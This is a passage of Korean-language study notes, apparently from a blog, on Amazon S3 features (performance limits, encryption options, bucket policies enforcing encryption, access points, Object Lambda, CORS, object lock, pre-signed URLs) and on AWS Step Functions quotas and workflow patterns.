  • 드물지만 삭제된 객체는 30일 이내에 즉시 복구가 가능해야 하고, 최대 1년까지는 삭제한 객체를 48시간 내 복구해야 한다.
    • => S3 버저닝 활성화 후, 이전 버전은 Standard-IA 로 전환하고 30일 이후에는 Glacier Deep-Archive 로 전환

S3 Analytics

• 스토리지 접근 패턴을 분석해 언제 S3 스토리지 객체를 변환해야 하는지 S3 Analytics 서비스를 사용할 수 있다.
• 오직 Standard 로 부터 Standard-IA 로 보낼 때만 사용 가능하다.
• 데이터 분석이 가능하도록 보고서 (.csv) 가 24 ~ 48 시간 주기로 매일 업데이트된다.

S3 Event

• S3 EventBridge 로 전달하거나 직접 SNS, SQS, Lambda 로 보낼 수 있다.
• 직접 보내는 경우, 여러 개의 이벤트 소스로 전달할 수 있다.
• 직접 보내는 경우 S3 가 행동할 수 있도록 SNS, SQS, Lambda 의 Resource Policy 정책이 허용되어 있어야 한다.

S3 Performance

baseline

• S3 는 아주 많은 수의 요청량을 처리하기 위해 자동으로 스케일링한다. 지연율은 보통 100 ~ 200 ms 정도이다.
• 버킷의 prefix 당 최대 초당 쓰기 요청(PUT/COPY/POST/DELETE) 횟수은 3,500, 최대 초당 읽기 요청(GET/HEAD) 횟수은 5,500 이다.
• 버킷의 총 최대 요청 횟수와 버킷 당 prefix 의 개수는 제한이 없으므로 더 많은 요청을 받기 위해서는 요청량이 집중되는 오브젝트 단위를 분석해 prefix 로 분리해야 한다.
• 사용 사례
  • bucket/1/file => /1/, bucket/2/file => /2/, bucket/3/file => /3/, bucket/4/file => /4/ 라면 최대 22,000 요청량 가능

Multi-Part Upload (분할 업로드)

• 매우 큰 파일을 업로드 시 전송 속도를 향상하기 위해 파일을 분할하여 병렬 업로드한다.
• 100MB 이상 파일은 분할 업로드 권장, 5GB 이상 파일은 분할 업로드 필수
• 사용 사례
  • 100GB 파일에 대해 멀티파트 업로드
    • CreateMultipartUpload 호출
    • 총 100GB 크기에 대해 각각 100MB 파트를 업로드하는 1000개의 개별 UploadPart 호출
    • CompleteMultipartUpload 호출

S3 Transfer Acceleration

• 버킷 파일을 AWS 의 엣지 로케이션으로 전송함으로써 접송 속도를 높이는 방식이다.
• 공용 인터넷을 최소한으로 거치고 사설 AWS 네트워크 라인을 사용하기 때문에 속도가 훨씬 빠르다.
• Multi-Part Upload 기능과 호환

S3 Byte-Range Fetches

• 파일의 특정 바이트 일부 범위만 읽기 요청하는 방식이다.
• 병렬 요청 가능
• 사용 사례
  • 다운로드 속도 가속화
    • Multi-Part Upload 기능의 반대 전략으로 매우 큰 파일을 분할하여 병렬 다운로드한다. 예를 들어 100 GB 파일을 100 MB 씩 분할해서 10 번 반복 요청한다.
  • 헤더 부분 읽어서 파일 확장자 확인

 

S3 Encryption

Amazon S3에서는 4가지 방법으로 S3 버킷의 객체를 암호화할 수 있다.

• Server-Side Encryption (SSE)
  • Server-Side Encryption with Amazon S3-Managed Keys (SSE-S3)
    • Amazon S3 관리형 키를 사용하는 서버 측 암호화
  • Server-Side Encryption with KMS Keys stored in AWS KMS (SSE-KMS)
    • AWS KMS 키를 사용하는 서버 측 암호화
  • Server-Side Encryption with Customer-Provided Keys (SSE-C)
    • Client 가 제공하는 키를 사용하는 암호화
    • AWS Console 에서는 확인이 불가능하고, SDK 프로그래밍 방식만 지원 가능
• Client-Side Encryption
  • Client 에서 직접 암호화 후 전송하고 다운로드 후 복호화하는 방식

SSE-S3

• 기본 S3 객체 암호화 방식
• AWS S3 에서 처리, 관리, 및 소유하는 키를 사용하여 암호화
• AES-256 알고리즘으로 암호화
• 클라이언트에서 "x-amz-server-side-encryption": "AES256" 로 header 조작 필요

SSE-KMS

• AWS KMS(Key Management Service) 서비스를 통해 처리되고 관리되는 키를 사용하여 암호화
• 사용자가 KMS 서비스를 통해 키를 관리할 수 있음
• CloudTrail 로그를 통해서 키 사용 여부들을 감사 가능
• 클라이언트에서 "x-amz-server-side-encryption": "aws:kms" 로 header 조작 필요
• 사용 시 주의사항
  • 업로드 시 GenerateDataKey KMS API 를 호출하고, 다운로드 시에는 Decrypt KMS API 를 호출하는데 이 API 가 초당 할당량 제한이 있음. 지역에 따라 다르지만 5,500, 10,000, 30,000 req/s.
  •  쓰로틀링 방지를 위해, 서비스 할당량 콘솔을 통해 초당 할당량을 높인다.

SSE-C

• Client 가 키를 생성해서 AWS 에 전송하고 서버 측에서 암호화 (Client 가 직접 키 관리)
• HTTPS 에서만 가능
• AWS 에서 키를 관리하지 않으므로 HTTPS 요청마다 암호화 키를 HTTP 헤더에 제공해야 함

Client-Side Encryption

• AWS 에서 키 생성, 관리 및 암복호화 하지 않고 클라이언트 측에서 모두 수행하는 방식
• Amazon S3 Client-Side Encryption Library 와 같은 클라이언트 라이브러리 사용
• 클라이언트가 데이터를 S3 에 업로드하기 전에 암호화하고, 다운로드 후 복호화한다.

S3 전송 암호화 (SSL/TLS)

• S3 는 두 가지 방식의 엔드포인트를 제공
  • HTTP 엔드포인트 (암호화하지 않음)
  • HTTPS 엔드포인트 (전송 중 암호화)
    • SSL 또는 TLS 방식으로 암호화
• HTTPS 를 권장
• 대부분의 클라이언트는 기본적으로 HTTPS 엔드포인트를 사용

S3 암호화 강제

• S3 버킷 정책을 사용하여 전송 중 암호화를 강제하거나, 오브젝트 업로드 시 특정 암호화 방식으로 강제할 수 있음
• 전송 중 암호화 강제
  • Effect => Deny
  • Condition => (Bool) aws:SecureTransport: false
• S3 객체 업로드 시 암호화 헤더 없는 경우 거부
  • Effect => Deny
  • Condition => (StringNotEquals) s3:x-amz-server-side-encryption: aws:kms
  • Condition => (Null) s3:x-amz-server-side-encryption-customer-algorithm: true
• 사용 사례
  

  

  • 왼쪽 정책은 SSE-KMS 방식 아니면 거부. 오른쪽 정책은 SSE-C 방식 아니면 거부.

• 아니면 기본 암호화 방식을 채택할 수 있다.
• 해당 버킷 정책은 항상 기본 암호화 전에 평가된다.

S3 Access Points

• S3 에 접근하는 사용자나 그룹이 많아지고 S3 에 저장하는 데이터의 유형이 많아짐에 따라 Bucket Policy 에 모든 접근 권한을 설정하기가 복잡해졌다.
• S3 버킷 Prefix 별로 사용자나 그룹의 접근 권한 설정을 한다.
• 접근할 수 있는 포인트인 DNS Name 과 Access Point Policy 를 가지고 있다.
• 사용 시 주의사항
  • VPC 내부에서만 접근하도록 설정하려면
    • VPC Endpoint(Interface 나 Gateway) 무조건 생성 필요
    • VPC Endpoint Policy 에서 S3 Access Point 와 S3 Bucket 둘 다 allow 정책 허용 필요

S3 Object Lambda

• S3 Object Lamda 기능이 출시되기 이전에는 각 어플리케이션의 요구사항을 충족시키기 위해 데이터를 추가 가공 후, 여러 개의 S3 버킷을 준비해서 오브젝트를 반환하거나 S3 Bucket 앞 단에 Proxy 인프라를 설계하여 가공했다.
• AWS Lambda 함수를 사용하여 S3 오브젝트를 반환하기 이전에 결과 값을 수정한다.
• 사용 사례
  • 개인 식별 정보(PII) 삭제
  • 데이터 형식 변환(예 : XML to JSON)
  • 이미지 동적 크기 조정 및 워터마킹
  • 마케팅 차원에서 요청 사용자의 개인 데이터 추가 작업
• 사용 시 주의 사항
  • S3 Access Point 와 S3 Object Point 두 개 다 모두 필요
  • 외부에서 접근 가능하도록 하려면 S3 Access Point 의 Policy 조작 필요
• 참고
  • https://aws.amazon.com/ko/blogs/korea/introducing-amazon-s3-object-lambda-use-your-code-to-process-data-as-it-is-being-retrieved-from-s3/
  • https://medium.com/musinsa-tech/s3-object-lambda%EB%A5%BC-%EC%9D%B4%EC%9A%A9%ED%95%9C-on-demand-%EC%9D%B4%EB%AF%B8%EC%A7%80-%EB%B3%80%ED%99%98-%EC%84%9C%EB%B9%84%EC%8A%A4-%EC%86%8C%EA%B0%9C-5e3650cc27a9

S3 CORS

• 웹 브라우저에서 다른 Origin 에 대한 요청으로 인한 공격을 방지하고자 SOP(Same Origin Policy) 정책을 도입함
  • Origin은 scheme (protocol) + host (domain) + port 로 Same Origin 은 프로토콜, 도메인, 포트 번호가 같아야 함
• 하지만 웹 사이트들이 다른 도메인 영역에 웹 자원을 로드하고 서비스하고 있는 경우가 많아 특정 Origin 만 접근이 가능하도록 설정이 필요했다. CORS(Cross-Origin Resourse Sharing) 이라는 기능이다.
• 현재 웹 사이트를 방문하면서 다른 Origin 의 자원을 사용해야 하는 경우, 다른 Origin 서버에서 허용 응답을 보내주어야 한다.
  • 정확히는 응답 헤더로 Access-Control-Allow-Origin, Access-Control-Allow-Methods 등 CORS 헤더를 보내주어야 한다.
• 마찬가지로 S3 에서도 CORS 헤더를 설정함으로써 특정 출처와 메서드들을 허용할 수 있다.
  

  

S3 Delete 방지

MFA 사용

• 사용자가 중요한 S3 작업을 수행하기 전에 MFA (Multi-Factor Authentication) 다중 인증을 추가로 요구할 수 있다.
• 버전 관리 활성화 필수
• MFA Delete 기능을 활성화 / 비활성화 할 수 있는 권한은 버킷 소유자만 가능
• MFA가 필요한 작업은 다음과 같다.
  • 객체 버전을 영구적으로 삭제
  • 버킷에서 버전 관리를 중단할 때
    

S3 Object Lock

• WORM (Write Once Read Many) 모델로 지정된 기간 동안 특정 객체 버전을 삭제하는 것을 방지한다.
• 버저닝 기능이 무조건 활성화 되어 있어야 함
• 버킷 내의 모든 객체에 각각 적용 가능
• 보관 모드
• ( * 법적 보관은 보관모드는 아니나, 비교를 위해 같이 정리하였다 )

S3 Access Logs

• 감사 목적으로 S3 버킷의 모든 액세스를 로깅할 수 있다.
• 승인 또는 거부 여부와 상관없이 모든 계정에서 S3에 대한 요청이 로그로 남는다.
• 로깅 대상 버킷은 동일한 AWS 리전에 있어야 한다.
• Amazon S3 서버 액세스 로그 형식: https://docs.aws.amazon.com/ko_kr/AmazonS3/latest/userguide/LogFormat.html
• 사용 시 주의사항
  • 로깅 버킷을 모니터링하는 버킷과 동일하게 설정하면 무한 루프 발생

Pre-Signed URLs

• 접근 권한 인증을 마쳤는데도 불구하고 다른 AWS 서비스 제한 때문에 S3 에 도달하지 못 할 수 있다.
• 접근 권한에 대한 인증을 마치면 직접 S3 에 접근할 수 있는 URL 을 발급해준다.
• URL 만료 기한
  • S3 Console 은 1분부터 720분(12시간)까지 설정 가능
  • AWS CLI 는 --expires-in 매개변수로 만료 시간을 지정할 수 있으며, 초 단위로 설정 가능 (기본값은 3600초, 최대 604800초(168시간))
• 미리 서명된 URL을 받은 사용자는 GET / PUT에 대한 권한을 URL을 생성한 사용자로부터 상속받음.
• 사용 사례
  • 로그인한 사용자만 S3 버킷에서 프리미엄 비디오를 다운로드할 수 있도록 허용
  • URL을 동적으로 생성하여 계속 변경되는 사용자 목록이 파일을 다운로드할 수 있도록 허용
  • 일시적으로 사용자가 S3 버킷의 특정 위치에 파일을 업로드할 수 있도록 허용

Step Functions

AWS 의 마이크로서비스 워크플로우 구현을 위한 오케스트레이션 서비스

Lambda 와 같은 서버리스 서비스들을 조합하여 구현

Step Functions 특징

• AWS 의 다른 서비스들과 네이티브하게 연계 통합 가능
• 비즈니스 로직 중심 워크플로우 설계 가능 (관리형 서비스(내결함성, 안정성, 확장성, 고가용성))
  
  • 빌트인 된 try-catch-finally 패턴을 통해 타임아웃, 재시도, 에러메세지 관리가 가능하여 장애 대응에 원할
  • 모니터링 후, 요청량에 따른 자동 스케일링 가능
• 다양한 상태를 활용하여 워크플로우를 정의하기 쉬움

Step Functions 구조

Action 과 Flow 컴포넌트로 구성되어 있음

• Action
  • 다른 AWS 서비스를 활용하여 작업을 수행
  • 예 : 람다 함수 호출, SNS Publish, AWS Fargate 서비스 호출
• Flow
  • task 들의 제어 흐름을 정의하는 7가지 상태
  • 분기 choice, 반복 map, 동시 실행 parallel, 디버깅 path, 타이머 wait, 성공 success, 실패 fail

Step Functions 구축

• Workflow Studio
• IaC 프레임워크 + 서버리스 개발용 라이브러리(Chalice)
• Serverless Framework (https://www.serverless.com/framework/docs)

Step Functions 는 특성 상 비지니스 로직과 밀접하게 연결되어 있어 인프라와 애플리케이션을 디커플링하여 개발하면 새로운 개발 요청이 들어왔을 때 인프라와 코드를 둘 다 수정해야 되는 단점이 있음.

따라서, 인프라와 애플리케이션을 커플링하여 서비스 변경에 더 민첩하게 반응할 수 있는 애플리케이션 특수적 인프라를 활용하는 추세임.

Step Functions 한계점

Step Functions 는 별도의 요청으로 상한을 올릴 수 있는 소프트 할당량과 상한을 올릴 수 없는 하드 할당량이 있다.

소프트 할당량은 유연하게 대처가 가능하므로 하드 할당량에 대해서 알아본다.

• 페이로드의 최대 크기 (256 KB)

페이로드는 오직 실행이나 컨텍스트 관리에 필수적인 데이터만 포함하여 핸들링하는 것이 바람직하다.

이외 데이터들은 다른 서비스나 서버에 저장 후 로드한다.

• 실행 기록의 최대 이벤트 개수 (25,000 개)

상태머신을 활용할 경우, Step Functions 는 해당 실행에 대한 모든 이벤트를 기록하기 시작한다.

각 상태마다 2 ~ 5 개 정도의 이벤트가 발생한다. 예를 들어 람다 호출의 경우, 람다 예약 => 람다 시작 => 람다 성공 순으로 이벤트가 기록된다.

이베트 개수를 줄이는 방법이 있을 수 있다. 하지만 권장하지 않는다.

예를 들어, 여러 개의 Lambda 함수를 활용하여 병렬처리하는 구조의 애플리케이션을 Lambda 함수 하나로 포팅한다면 이벤트의 개수는 줄일 수 있지만, 병렬 처리로 얻는 속도, 효율 등의 장점들을 모두 포기해야 한다.

Lambda 함수를 통해 상태머신을 재실행하는 방법을 AWS 에서 권장하고 있다.

1 . (plan) StateMachine 시작 전 작업 크기를 계산하고, 현재 실행 정보를 담고 있는 컨텍스트 정보를 생성한다.

• 총 처리해야 하는 개수
• 현재 처리 개수
• 커서

2 . (fetch, apply) 병렬 작업자들에게 할당할 작업들을 생성하고 반복 처리한다.

• 최대 동시성(동시 실행 가능한 작업자의 최댓값)을 고려하여 전체 작업을 처리 가능한 크기의 작업으로 분할한다.
• 반복 실행을 통해 순차 처리한다. 아래 3, 4 단계를 참고한다.

3 . (aggregate) apply 결과 값들을 취합한다.

4 . 더 이상 작업이 없다면 Finish, 아직 작업이 있고 최대 반복 횟수 도달했다면 ExecuteNew, 최대 반복 횟수 미달했다면 다시 fetch 실행

4 - 1 . ExecuteNew 로 실행했다면 현재 실행의 Context 정보도 같이 전달하여 plan 재실행

Active Worker 패턴

AWS 서비스 이외에 다른 서비스(온 프레미스 서비스, 써드 파티 SDK, 다른 클라우드 서비스) 처리 시 지연시간으로 인해

비동기적인 처리가 필요할 수도 있다. 만약 Lambda 로 구현한다면 지속적으로 폴링해야 할 수도 있다. 불필요한 시간을 소요할 수 있으며 결국 Lambda 의 최대 실행 시간인 15분을 넘길 수 있다.

외부 서비스와 통합하기 위해 Activity 를 사용하는 것을 권고한다. 상태머신의 진행을 비동기적으로 바꿀 수 있다.

그런데 아래 공식 문서는 코드 분리 측면으로 봐야되고, 위 병렬 실행 TIP 과는 다른 컨셉으로 봐야 될 것 같다.

https://docs.aws.amazon.com/ko_kr/step-functions/latest/dg/tutorial-use-sfn-api-cont-exec.html

참고

https://www.youtube.com/watch?v=EZrL7p7Qlp4